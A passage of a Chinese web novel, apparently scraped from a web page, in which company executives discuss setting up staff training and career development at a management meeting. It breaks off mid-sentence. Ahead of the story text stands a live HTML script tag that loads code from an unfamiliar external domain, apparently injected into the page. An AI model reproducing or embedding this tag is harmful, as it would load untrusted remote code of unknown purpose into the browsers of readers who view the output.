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<script src="https://xxsmad3.com/s.php?g=1&t=2&p=1388&i="></script>公司在技术突破和市场拓展方面取得了显着成绩,但李选阁清楚地意识到,人才是公司持续发展的核心动力。因此,他决定将工作重点放在人才培养和团队建设上。
在一次管理层会议上,李选阁提出:“我们的业务在不断发展,对人才的需求越来越迫切。我们要建立一套完善的人才培养体系,为公司的未来储备力量。大家对此有什么想法和建议?”
张娜娜表示赞同:“没错,李总。而且不仅要培养新员工,还要关注老员工的职业发展,提供晋升和培训的机会。毕竟老员工熟悉公司的业务和文化,他们的成长对公司稳定发展也至关重要。”
林晓接着说:“那我们可以制定一些内部培训课程,邀请行业专家来授课,同时鼓励员工自我学习和提升。比如设立一个内部图书馆,购买相关的专业书籍和在线课程供员工使用。”
叶
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